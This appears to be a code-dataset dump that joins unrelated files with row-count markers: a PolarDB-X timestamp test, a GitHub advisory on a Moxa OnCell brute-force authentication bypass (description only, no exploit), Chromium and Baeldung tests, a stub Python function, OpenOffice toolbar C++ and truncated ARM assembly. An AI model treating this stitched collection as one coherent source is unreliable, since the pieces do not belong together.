import com.alibaba.polardbx.optimizer.core.datatype.TimestampType;
import com.alibaba.polardbx.optimizer.core.datatype.VarcharType;
import org.junit.Assert;
import org.junit.Test;
import java.time.ZoneId;
import static com.alibaba.polardbx.common.SQLModeFlags.*;
public class TimestampFieldTest extends FieldTestBase {
DataType fieldType = new TimestampType(5);
DataType resultType = new VarcharType();
StorageField timestampField = new TimestampField(fieldType);
int modeSize = 3;
long[] strictModes = {
MODE_STRICT_TRANS_TABLES,
MODE_STRICT_ALL_TABLES,
MODE_STRICT_TRANS_TABLES | MODE_STRICT_ALL_TABLES
};
@Test
public void storeNumber() {
// illegal number
checkStore(
timestampField,
DEFAULT_SESSION_PROPERTIES,
new LongType(),
1L,
"0x00000000000000",
false,
TypeConversionStatus.TYPE_ERR_BAD_VALUE,
f -> "0x" + bytesToHex(f.rawBytes())
);
// legal number
checkStore(
timestampField,
DEFAULT_SESSION_PROPERTIES,
new LongType(),
20001112131415L,
"0x3A0E2727000000",
false,
TypeConversionStatus.TYPE_OK,
f -> "0x" + bytesToHex(f.rawBytes())
);
// legal number
checkStore(
timestampField,
DEFAULT_SESSION_PROPERTIES,
new LongType(),
791112131415L,
"0x128D04A7000000",
false,
TypeConversionStatus.TYPE_OK,
f -> "0x" + bytesToHex(f.rawBytes())
);
// illegal number
checkStore(
timestampField,
DEFAULT_SESSION_PROPERTIES,
new LongType(),
2000111213141512L,
"0x00000000000000",
false,
TypeConversionStatus.TYPE_ERR_BAD_VALUE,
f -> "0x" + bytesToHex(f.rawBytes())
);
}
@Test
public void storeLegalString() {
checkInternal("2001-01-01 00:00:00", "0x3A4F5800000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_OK);
checkInternal("0000-00-00 00:00:00", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_OK);
}
@Test
public void storeIllegalString() {
// for timestamp, no zero in date!
checkInternal("0001-00-00 00:00:00", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_NOTE_TIME_TRUNCATED);
// Bad year
checkInternal("99999-01-01 00:00:01", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
// Bad month
checkInternal("2001-13-01 00:00:01", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
// Bad day
checkInternal("2001-01-32 00:00:01", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
// Bad hour
checkInternal("2001-01-01 72:00:01", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
// Bad minute
checkInternal("2001-01-01 00:72:01", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
// Bad second
checkInternal("2001-01-01 00:00:72", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
// Not a day
checkInternal("foo", "0x00000000000000", DEFAULT_SESSION_PROPERTIES, TypeConversionStatus.TYPE_ERR_BAD_VALUE);
}
@Test
public void storeZeroDateSqlModeNoZeroRestrictions() {
// zero date is legal in strict mode
checkSqlModeInternal(0L, "0000-00-00 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_OK);
checkSqlModeInternal(0L, "1970-01-02 00:00:02", "0x0000E102000000", TypeConversionStatus.TYPE_OK);
checkSqlModeInternal(0L, "2038-01-19 03:14:08", "0x7FFF8F80000000", TypeConversionStatus.TYPE_OK);
// out of range
checkSqlModeInternal(0L, "0000-01-01 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_WARN_OUT_OF_RANGE);
checkSqlModeInternal(0L, "1970-1-1 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_WARN_OUT_OF_RANGE);
checkSqlModeInternal(0L, "1969-12-31 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_WARN_OUT_OF_RANGE);
checkSqlModeInternal(0L, "2038-01-20 03:14:08", "0x00000000000000", TypeConversionStatus.TYPE_WARN_OUT_OF_RANGE);
// for timestamp, no zero in date!
checkSqlModeInternal(0L, "2001-00-01 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_ERR_BAD_VALUE);
checkSqlModeInternal(0L, "2001-01-00 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_ERR_BAD_VALUE);
}
@Test
public void storeZeroDateSqlModeNoZeroDate() {
// With "MODE_NO_ZERO_DATE" set - Errors if date is all null
checkSqlModeInternal(MODE_NO_ZERO_DATE, "0000-00-00 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_ERR_BAD_VALUE);
checkSqlModeInternal(MODE_NO_ZERO_DATE, "0000-01-01 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_WARN_OUT_OF_RANGE);
checkSqlModeInternal(MODE_NO_ZERO_DATE, "2001-00-01 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_ERR_BAD_VALUE);
checkSqlModeInternal(MODE_NO_ZERO_DATE, "2001-01-00 00:00:00", "0x00000000000000", TypeConversionStatus.TYPE_ERR_BAD_VALUE);
}
@Test
public void test() {
Assert.assertFalse(MySQLTimeTypeUtil.checkTimestampRange(new MysqlDateTime(
2038, 01, 20, 03, 14, 07, 0
)));
}
protected void checkInternal(String value, String expectedValue, SessionProperties sessionProperties,
TypeConversionStatus typeOk) {
checkStore(
timestampField,
sessionProperties,
resultType,
value,
expectedValue,
false,
typeOk,
f -> "0x" + bytesToHex(f.rawBytes())
);
}
protected void checkSqlModeInternal(long extraFlag, String value, String expectedValue,
TypeConversionStatus typeOk) {
for (int i = 0; i < modeSize; i++) {
SessionProperties sessionProperties = new SessionProperties(
ZoneId.systemDefault(),
CharsetName.defaultCharset(),
extraFlag | strictModes[i],
FieldCheckLevel.CHECK_FIELD_WARN);
checkInternal(value, expectedValue, sessionProperties, typeOk);
}
}
}
| 3,391 |
892 | <filename>advisories/unreviewed/2022/05/GHSA-v7gp-p3wf-4g2v/GHSA-v7gp-p3wf-4g2v.json<gh_stars>100-1000
{
"schema_version": "1.2.0",
"id": "GHSA-v7gp-p3wf-4g2v",
"modified": "2022-05-13T01:36:15Z",
"published": "2022-05-13T01:36:15Z",
"aliases": [
"CVE-2017-7915"
],
"details": "An Improper Restriction of Excessive Authentication Attempts issue was discovered in Moxa OnCell G3110-HSPA Version 1.3 build 15082117 and previous versions, OnCell G3110-HSDPA Version 1.2 Build 09123015 and previous versions, OnCell G3150-HSDPA Version 1.4 Build 11051315 and previous versions, OnCell 5104-HSDPA, OnCell 5104-HSPA, and OnCell 5004-HSPA. An attacker can freely use brute force to determine parameters needed to bypass authentication.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7915"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-143-01"
}
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"severity": "CRITICAL",
"github_reviewed": false
}
} | 570 |
777 | <filename>third_party/WebKit/Source/core/dom/ScriptedAnimationControllerTest.cpp
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "core/dom/ScriptedAnimationController.h"
#include "core/dom/Document.h"
#include "core/dom/FrameRequestCallback.h"
#include "core/events/Event.h"
#include "core/events/EventListener.h"
#include "core/events/EventTarget.h"
#include "core/testing/DummyPageHolder.h"
#include "platform/heap/Handle.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "wtf/Functional.h"
#include <memory>
namespace blink {
class ScriptedAnimationControllerTest : public ::testing::Test {
protected:
void SetUp() override;
Document& document() const { return m_dummyPageHolder->document(); }
ScriptedAnimationController& controller() { return *m_controller; }
private:
std::unique_ptr<DummyPageHolder> m_dummyPageHolder;
Persistent<ScriptedAnimationController> m_controller;
};
void ScriptedAnimationControllerTest::SetUp() {
m_dummyPageHolder = DummyPageHolder::create(IntSize(800, 600));
// Note: The document doesn't know about this ScriptedAnimationController
// instance, and will create another if
// Document::ensureScriptedAnimationController is called.
m_controller =
wrapPersistent(ScriptedAnimationController::create(&document()));
}
namespace {
class TaskOrderObserver {
public:
std::unique_ptr<WTF::Closure> createTask(int id) {
return WTF::bind(&TaskOrderObserver::runTask, WTF::unretained(this), id);
}
const Vector<int>& order() const { return m_order; }
private:
void runTask(int id) { m_order.push_back(id); }
Vector<int> m_order;
};
} // anonymous namespace
TEST_F(ScriptedAnimationControllerTest, EnqueueOneTask) {
TaskOrderObserver observer;
controller().enqueueTask(observer.createTask(1));
EXPECT_EQ(0u, observer.order().size());
controller().serviceScriptedAnimations(0);
EXPECT_EQ(1u, observer.order().size());
EXPECT_EQ(1, observer.order()[0]);
}
TEST_F(ScriptedAnimationControllerTest, EnqueueTwoTasks) {
TaskOrderObserver observer;
controller().enqueueTask(observer.createTask(1));
controller().enqueueTask(observer.createTask(2));
EXPECT_EQ(0u, observer.order().size());
controller().serviceScriptedAnimations(0);
EXPECT_EQ(2u, observer.order().size());
EXPECT_EQ(1, observer.order()[0]);
EXPECT_EQ(2, observer.order()[1]);
}
namespace {
void enqueueTask(ScriptedAnimationController* controller,
TaskOrderObserver* observer,
int id) {
controller->enqueueTask(observer->createTask(id));
}
} // anonymous namespace
// A task enqueued while running tasks should not be run immediately after, but
// the next time tasks are run.
TEST_F(ScriptedAnimationControllerTest, EnqueueWithinTask) {
TaskOrderObserver observer;
controller().enqueueTask(observer.createTask(1));
controller().enqueueTask(WTF::bind(&enqueueTask,
wrapPersistent(&controller()),
WTF::unretained(&observer), 2));
controller().enqueueTask(observer.createTask(3));
EXPECT_EQ(0u, observer.order().size());
controller().serviceScriptedAnimations(0);
EXPECT_EQ(2u, observer.order().size());
EXPECT_EQ(1, observer.order()[0]);
EXPECT_EQ(3, observer.order()[1]);
controller().serviceScriptedAnimations(0);
EXPECT_EQ(3u, observer.order().size());
EXPECT_EQ(1, observer.order()[0]);
EXPECT_EQ(3, observer.order()[1]);
EXPECT_EQ(2, observer.order()[2]);
}
namespace {
class RunTaskEventListener final : public EventListener {
public:
RunTaskEventListener(std::unique_ptr<WTF::Closure> task)
: EventListener(CPPEventListenerType), m_task(std::move(task)) {}
void handleEvent(ExecutionContext*, Event*) override { (*m_task)(); }
bool operator==(const EventListener& other) const override {
return this == &other;
}
private:
std::unique_ptr<WTF::Closure> m_task;
};
} // anonymous namespace
// Tasks should be run after events are dispatched, even if they were enqueued
// first.
TEST_F(ScriptedAnimationControllerTest, EnqueueTaskAndEvent) {
TaskOrderObserver observer;
controller().enqueueTask(observer.createTask(1));
document().addEventListener("test",
new RunTaskEventListener(observer.createTask(2)));
Event* event = Event::create("test");
event->setTarget(&document());
controller().enqueueEvent(event);
EXPECT_EQ(0u, observer.order().size());
controller().serviceScriptedAnimations(0);
EXPECT_EQ(2u, observer.order().size());
EXPECT_EQ(2, observer.order()[0]);
EXPECT_EQ(1, observer.order()[1]);
}
namespace {
class RunTaskCallback final : public FrameRequestCallback {
public:
RunTaskCallback(std::unique_ptr<WTF::Closure> task)
: m_task(std::move(task)) {}
void handleEvent(double) override { (*m_task)(); }
private:
std::unique_ptr<WTF::Closure> m_task;
};
} // anonymous namespace
// Animation frame callbacks should be run after tasks, even if they were
// enqueued first.
TEST_F(ScriptedAnimationControllerTest, RegisterCallbackAndEnqueueTask) {
TaskOrderObserver observer;
Event* event = Event::create("test");
event->setTarget(&document());
controller().registerCallback(new RunTaskCallback(observer.createTask(1)));
controller().enqueueTask(observer.createTask(2));
EXPECT_EQ(0u, observer.order().size());
controller().serviceScriptedAnimations(0);
EXPECT_EQ(2u, observer.order().size());
EXPECT_EQ(2, observer.order()[0]);
EXPECT_EQ(1, observer.order()[1]);
}
} // namespace blink
| 1,957 |
1,177 | <gh_stars>1000+
def translate(text):
pass
| 19 |
2,542 | <gh_stars>1000+
// ------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.
// ------------------------------------------------------------
VOID
RWTStress(
KAllocator& Allocator,
KGuid diskId,
KtlLogManager::SPtr logManager,
ULONG numberAsyncs = 64,
ULONG numberRepeats = 8,
ULONG numberRecordsPerIteration = 8,
ULONG numberSizeOfRecord = 4 * 0x100000 // 4MB
);
| 161 |
679 | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
// MARKER(update_precomp.py): autogen include statement, do not remove
#include "precompiled_framework.hxx"
//_________________________________________________________________________________________________________________
// my own includes
//_________________________________________________________________________________________________________________
#include <uielement/toolbarwrapper.hxx>
#include <threadhelp/resetableguard.hxx>
#include <framework/actiontriggerhelper.hxx>
#include <uielement/constitemcontainer.hxx>
#include <uielement/rootitemcontainer.hxx>
#include <uielement/toolbarmanager.hxx>
#ifndef __FRAMEWORK_UIELEMENT_TOOLBARW_HXX_
#include <uielement/toolbar.hxx>
#endif
//_________________________________________________________________________________________________________________
// interface includes
//_________________________________________________________________________________________________________________
#include <com/sun/star/lang/XServiceInfo.hpp>
#include <com/sun/star/beans/XPropertySet.hpp>
#include <com/sun/star/awt/XSystemDependentMenuPeer.hpp>
#include <com/sun/star/awt/XMenuBar.hpp>
#include <com/sun/star/container/XIndexContainer.hpp>
#include <com/sun/star/container/XNameAccess.hpp>
#include <com/sun/star/ui/UIElementType.hpp>
#include <com/sun/star/lang/DisposedException.hpp>
//_________________________________________________________________________________________________________________
// other includes
//_________________________________________________________________________________________________________________
#ifndef _TOOLKIT_HELPER_VCLUNOHELPER_HXX_
#include <toolkit/helper/vclunohelper.hxx>
#endif
#include <toolkit/awt/vclxwindow.hxx>
#include <comphelper/processfactory.hxx>
#include <svtools/miscopt.hxx>
#include <vcl/svapp.hxx>
#include <vcl/toolbox.hxx>
#include <rtl/logfile.hxx>
using namespace com::sun::star;
using namespace com::sun::star::uno;
using namespace com::sun::star::beans;
using namespace com::sun::star::frame;
using namespace com::sun::star::lang;
using namespace com::sun::star::container;
using namespace com::sun::star::awt;
using namespace ::com::sun::star::ui;
namespace framework
{
ToolBarWrapper::ToolBarWrapper( const Reference< XMultiServiceFactory >& xServiceManager ) :
UIConfigElementWrapperBase( UIElementType::TOOLBAR,xServiceManager )
{
}
ToolBarWrapper::~ToolBarWrapper()
{
}
// XInterface
void SAL_CALL ToolBarWrapper::acquire() throw()
{
UIConfigElementWrapperBase::acquire();
}
void SAL_CALL ToolBarWrapper::release() throw()
{
UIConfigElementWrapperBase::release();
}
uno::Any SAL_CALL ToolBarWrapper::queryInterface( const uno::Type & rType )
throw( ::com::sun::star::uno::RuntimeException )
{
Any a = ::cppu::queryInterface(
rType ,
SAL_STATIC_CAST( ::com::sun::star::ui::XUIFunctionListener*, this ) );
if( a.hasValue() )
return a;
return UIConfigElementWrapperBase::queryInterface( rType );
}
// XComponent
void SAL_CALL ToolBarWrapper::dispose() throw ( RuntimeException )
{
Reference< XComponent > xThis( static_cast< OWeakObject* >(this), UNO_QUERY );
{
ResetableGuard aLock( m_aLock );
if ( m_bDisposed )
return;
}
com::sun::star::lang::EventObject aEvent( xThis );
m_aListenerContainer.disposeAndClear( aEvent );
ResetableGuard aLock( m_aLock );
if ( m_xToolBarManager.is() )
m_xToolBarManager->dispose();
m_xToolBarManager.clear();
m_xConfigSource.clear();
m_xConfigData.clear();
m_xToolBarWindow.clear();
m_bDisposed = sal_True;
}
// XInitialization
void SAL_CALL ToolBarWrapper::initialize( const Sequence< Any >& aArguments ) throw ( Exception, RuntimeException )
{
ResetableGuard aLock( m_aLock );
if ( m_bDisposed )
throw DisposedException();
if ( !m_bInitialized )
{
UIConfigElementWrapperBase::initialize( aArguments );
sal_Bool bPopupMode( sal_False );
for ( sal_Int32 i = 0; i < aArguments.getLength(); i++ )
{
PropertyValue aPropValue;
if ( aArguments[i] >>= aPropValue )
{
if ( aPropValue.Name.equalsAsciiL( "PopupMode", 9 ))
{
aPropValue.Value >>= bPopupMode;
break;
}
}
}
Reference< XFrame > xFrame( m_xWeakFrame );
if ( xFrame.is() && m_xConfigSource.is() )
{
// Create VCL based toolbar which will be filled with settings data
ToolBar* pToolBar = 0;
ToolBarManager* pToolBarManager = 0;
{
vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );
Window* pWindow = VCLUnoHelper::GetWindow( xFrame->getContainerWindow() );
if ( pWindow )
{
sal_uLong nStyles = WB_LINESPACING | WB_BORDER | WB_SCROLL | WB_MOVEABLE | WB_3DLOOK | WB_DOCKABLE | WB_SIZEABLE | WB_CLOSEABLE;
pToolBar = new ToolBar( pWindow, nStyles );
m_xToolBarWindow = VCLUnoHelper::GetInterface( pToolBar );
pToolBarManager = new ToolBarManager( m_xServiceFactory, xFrame, m_aResourceURL, pToolBar );
pToolBar->SetToolBarManager( pToolBarManager );
m_xToolBarManager = Reference< XComponent >( static_cast< OWeakObject *>( pToolBarManager ), UNO_QUERY );
pToolBar->WillUsePopupMode( bPopupMode );
}
}
try
{
m_xConfigData = m_xConfigSource->getSettings( m_aResourceURL, sal_False );
if ( m_xConfigData.is() && pToolBar && pToolBarManager )
{
// Fill toolbar with container contents
pToolBarManager->FillToolbar( m_xConfigData );
pToolBar->SetOutStyle( SvtMiscOptions().GetToolboxStyle() );
pToolBar->EnableCustomize( sal_True );
::Size aActSize( pToolBar->GetSizePixel() );
::Size aSize( pToolBar->CalcWindowSizePixel() );
aSize.Width() = aActSize.Width();
pToolBar->SetOutputSizePixel( aSize );
}
}
catch ( NoSuchElementException& )
{
// No settings in our configuration manager. This means we are
// a transient toolbar which has no persistent settings.
m_bPersistent = sal_False;
if ( pToolBar && pToolBarManager )
{
pToolBar->SetOutStyle( SvtMiscOptions().GetToolboxStyle() );
pToolBar->EnableCustomize( sal_True );
::Size aActSize( pToolBar->GetSizePixel() );
::Size aSize( pToolBar->CalcWindowSizePixel() );
aSize.Width() = aActSize.Width();
pToolBar->SetOutputSizePixel( aSize );
}
}
}
}
}
// XEventListener
void SAL_CALL ToolBarWrapper::disposing( const ::com::sun::star::lang::EventObject& ) throw (::com::sun::star::uno::RuntimeException)
{
// nothing todo
}
// XUpdatable
void SAL_CALL ToolBarWrapper::update() throw (::com::sun::star::uno::RuntimeException)
{
ResetableGuard aLock( m_aLock );
if ( m_bDisposed )
throw DisposedException();
ToolBarManager* pToolBarManager = static_cast< ToolBarManager *>( m_xToolBarManager.get() );
if ( pToolBarManager )
pToolBarManager->CheckAndUpdateImages();
}
// XUIElementSettings
void SAL_CALL ToolBarWrapper::updateSettings() throw (::com::sun::star::uno::RuntimeException)
{
ResetableGuard aLock( m_aLock );
if ( m_bDisposed )
throw DisposedException();
if ( m_xToolBarManager.is() )
{
if ( m_xConfigSource.is() && m_bPersistent )
{
try
{
ToolBarManager* pToolBarManager = static_cast< ToolBarManager *>( m_xToolBarManager.get() );
m_xConfigData = m_xConfigSource->getSettings( m_aResourceURL, sal_False );
if ( m_xConfigData.is() )
pToolBarManager->FillToolbar( m_xConfigData );
}
catch ( NoSuchElementException& )
{
}
}
else if ( !m_bPersistent )
{
// Transient toolbar: do nothing
}
}
}
void ToolBarWrapper::impl_fillNewData()
{
// Transient toolbar => Fill toolbar with new data
ToolBarManager* pToolBarManager = static_cast< ToolBarManager *>( m_xToolBarManager.get() );
if ( pToolBarManager )
pToolBarManager->FillToolbar( m_xConfigData );
}
// XUIElement interface
Reference< XInterface > SAL_CALL ToolBarWrapper::getRealInterface( ) throw (::com::sun::star::uno::RuntimeException)
{
ResetableGuard aLock( m_aLock );
if ( m_xToolBarManager.is() )
{
ToolBarManager* pToolBarManager = static_cast< ToolBarManager *>( m_xToolBarManager.get() );
if ( pToolBarManager )
{
Window* pWindow = (Window *)pToolBarManager->GetToolBar();
return Reference< XInterface >( VCLUnoHelper::GetInterface( pWindow ), UNO_QUERY );
}
}
return Reference< XInterface >();
}
//XUIFunctionExecute
void SAL_CALL ToolBarWrapper::functionExecute(
const ::rtl::OUString& aUIElementName,
const ::rtl::OUString& aCommand )
throw (::com::sun::star::uno::RuntimeException)
{
ResetableGuard aLock( m_aLock );
if ( m_xToolBarManager.is() )
{
ToolBarManager* pToolBarManager = static_cast< ToolBarManager *>( m_xToolBarManager.get() );
if ( pToolBarManager )
pToolBarManager->notifyRegisteredControllers( aUIElementName, aCommand );
}
}
void SAL_CALL ToolBarWrapper::setFastPropertyValue_NoBroadcast( sal_Int32 nHandle, const com::sun::star::uno::Any& aValue ) throw( com::sun::star::uno::Exception )
{
ResetableGuard aLock( m_aLock );
sal_Bool bNoClose( m_bNoClose );
aLock.unlock();
UIConfigElementWrapperBase::setFastPropertyValue_NoBroadcast( nHandle, aValue );
aLock.lock();
sal_Bool bNewNoClose( m_bNoClose );
if ( m_xToolBarManager.is() && !m_bDisposed && ( bNewNoClose != bNoClose ))
{
ToolBarManager* pToolBarManager = static_cast< ToolBarManager *>( m_xToolBarManager.get() );
if ( pToolBarManager )
{
ToolBox* pToolBox = pToolBarManager->GetToolBar();
if ( pToolBox )
{
if ( bNewNoClose )
{
pToolBox->SetStyle( pToolBox->GetStyle() & ~WB_CLOSEABLE );
pToolBox->SetFloatStyle( pToolBox->GetFloatStyle() & ~WB_CLOSEABLE );
}
else
{
pToolBox->SetStyle( pToolBox->GetStyle() | WB_CLOSEABLE );
pToolBox->SetFloatStyle( pToolBox->GetFloatStyle() | WB_CLOSEABLE );
}
}
}
}
}
} // namespace framework
| 4,949 |
32,544 | package com.baeldung.readannotations;
import org.junit.Test;
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import static org.assertj.core.api.Assertions.assertThat;
public class ClassWithAnnotationsUnitTest {
@Test
public void whenCallingGetDeclaredAnnotations_thenOnlyRuntimeAnnotationsAreAvailable() throws NoSuchFieldException {
Field classMemberField = ClassWithAnnotations.class.getDeclaredField("classMember");
Annotation[] annotations = classMemberField.getDeclaredAnnotations();
assertThat(annotations).hasSize(2);
}
@Test
public void whenCallingIsAnnotationPresent_thenOnlyRuntimeAnnotationsAreAvailable() throws NoSuchFieldException {
Field classMemberField = ClassWithAnnotations.class.getDeclaredField("classMember");
assertThat(classMemberField.isAnnotationPresent(FirstAnnotation.class)).isTrue();
assertThat(classMemberField.isAnnotationPresent(SecondAnnotation.class)).isTrue();
assertThat(classMemberField.isAnnotationPresent(ThirdAnnotation.class)).isFalse();
}
@Test
public void whenCallingGetDeclaredAnnotationsOrGetAnnotations_thenSameAnnotationsAreReturned() throws NoSuchFieldException {
Field classMemberField = ClassWithAnnotations.class.getDeclaredField("classMember");
Annotation[] declaredAnnotations = classMemberField.getDeclaredAnnotations();
Annotation[] annotations = classMemberField.getAnnotations();
assertThat(declaredAnnotations).containsExactly(annotations);
}
}
| 481 |
2,313 | /*
* Copyright (c) 2021 Arm Limited.
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <cstddef>
#include <cstdint>
namespace arm_conv {
namespace depthwise {
void a64_fp32_nhwc_3x3_s1_output4x4_mla_depthfirst_direct_impl(
const unsigned int n_tile_rows,
const unsigned int n_tile_cols,
const float *inptr,
int64_t ld_input_row,
int64_t ld_input_col,
float *outptr,
int64_t ld_output_row,
int64_t ld_output_col,
const void *params,
unsigned int n_channels,
const float activation_min,
const float activation_max
)
{
struct Args
{
const uint64_t n_tile_rows, n_tile_cols;
const float *inptr;
const uint64_t ld_input_row;
const uint64_t ld_input_col;
float *outptr;
const uint64_t ld_output_row;
const uint64_t ld_output_col;
const void *params;
const float min, max;
uint64_t tile_i = 0, tile_j = 0;
Args(
const unsigned int n_tile_rows,
const unsigned int n_tile_cols,
const float *inptr,
int64_t ld_input_row,
int64_t ld_input_col,
float *outptr,
int64_t ld_output_row,
int64_t ld_output_col,
const void *params,
const float activation_min,
const float activation_max
) : n_tile_rows(n_tile_rows), n_tile_cols(n_tile_cols), inptr(inptr),
ld_input_row(ld_input_row), ld_input_col(ld_input_col), outptr(outptr),
ld_output_row(ld_output_row), ld_output_col(ld_output_col),
params(params), min(activation_min), max(activation_max)
{
}
};
Args params_struct(
n_tile_rows, n_tile_cols,
inptr, ld_input_row, ld_input_col,
outptr, ld_output_row, ld_output_col,
params, activation_min, activation_max
);
__asm__ __volatile__(
"mov x4, #0x0\n"
"mov x26, #0x0\n"
"1:" // Tile loop
"str x4, [%x[params_struct], %[offsetof_args_tile_i]]\n"
"mov x25, #0x4\n"
"str x26, [%x[params_struct], %[offsetof_args_tile_j]]\n"
"mov x24, #0x4\n"
"ldr x5, [%x[params_struct], %[offsetof_args_params]]\n"
"add x23, %x[params_struct], %[offsetof_args_min]\n"
"ldr x22, [%x[params_struct], %[offsetof_args_ld_input_row]]\n"
"add x21, %x[params_struct], %[offsetof_args_max]\n"
"ldr x6, [%x[params_struct], %[offsetof_args_ld_input_col]]\n"
"mov x7, #0x0\n"
"ldr x8, [%x[params_struct], %[offsetof_args_inptr]]\n"
"mul x19, x4, x22\n" // offset = tile_i * ld_input_row
"ldr x20, [%x[params_struct], %[offsetof_args_ld_output_row]]\n"
"madd x19, x26, x6, x19\n" // offset += tile_j * ld_input_col
"ldr x17, [%x[params_struct], %[offsetof_args_ld_output_col]]\n"
"mul x19, x19, x25\n" // offset *= kernel_stride * output_size
"ldr x16, [%x[params_struct], %[offsetof_args_outptr]]\n"
"add x8, x8, x19, LSL #2\n" // inptr[0] += offset * sizeof(float)
"ld1r { v15.4s }, [x23]\n"
"add x15, x8, x22, LSL #2\n"
"ld1r { v14.4s }, [x21]\n"
"add x14, x15, x22, LSL #2\n"
"lsl x6, x6, #0x2\n"
"add x13, x14, x22, LSL #2\n"
"add x12, x13, x22, LSL #2\n"
"add x11, x12, x22, LSL #2\n"
"add x10, x6, x6\n"
"add x9, x10, x6\n"
"add x28, x9, x6\n"
"add x27, x28, x6\n"
"mul x19, x4, x20\n" // offset = tile_i * ld_output_row
"madd x19, x26, x17, x19\n" // offset += tile_j * ld_output_col
"mul x19, x19, x24\n" // offset *= output_tile_size
"add x16, x16, x19, LSL #2\n" // outptrs[0] += offset * sizeof(float)
"add x26, x16, x20, LSL #2\n"
"add x25, x26, x20, LSL #2\n"
"add x24, x25, x20, LSL #2\n"
"lsl x17, x17, #0x2\n"
"add x23, x17, x17\n"
"add x22, x23, x17\n"
"mov x21, #0x10\n" // cntb _, ALL, #1
"sub x20, XZR, x21\n"
"lsr x19, %x[n_channels], #0x2\n"
"cbz x19, 4f\n"
"ldr q13, [x5, #0x0]\n"
"ldr q0, [x5, #0x10]\n"
"cmp x21, x19, LSL #4\n"
"ldr q1, [x5, #0x20]\n"
"ldr q2, [x5, #0x30]\n"
"ldr q3, [x5, #0x40]\n"
"ldr q4, [x5, #0x50]\n"
"ldr q5, [x5, #0x60]\n"
"ldr q6, [x5, #0x70]\n"
"ldr q7, [x5, #0x80]\n"
"ldr q8, [x5, #0x90]\n"
"add x5, x5, #0xa0\n"
"ldr q9, [x14, x10]\n"
"ld1 { v10.4s }, [x8]\n"
"ldr q11, [x8, x27]\n"
"ldr q12, [x14, x9]\n"
"bge 3f\n"
"2:" // Tile loop: Channel loop
"mov v31.16b, v13.16b\n fmla v31.4s, v8.4s, v9.4s\n"
"add x20, x20, #0x10\n"
"mov v30.16b, v13.16b\n fmla v30.4s, v7.4s, v9.4s\n"
"add x7, x7, #0x10\n"
"mov v29.16b, v13.16b\n fmla v29.4s, v6.4s, v9.4s\n"
"add x21, x21, #0x10\n"
"mov v27.16b, v13.16b\n fmla v27.4s, v5.4s, v9.4s\n"
"cmp x21, x19, LSL #4\n"
"mov v26.16b, v13.16b\n fmla v26.4s, v4.4s, v9.4s\n"
"mov v25.16b, v13.16b\n fmla v25.4s, v3.4s, v9.4s\n"
"mov v23.16b, v13.16b\n fmla v23.4s, v2.4s, v9.4s\n"
"mov v22.16b, v13.16b\n fmla v22.4s, v1.4s, v9.4s\n"
"mov v21.16b, v13.16b\n fmla v21.4s, v0.4s, v9.4s\n"
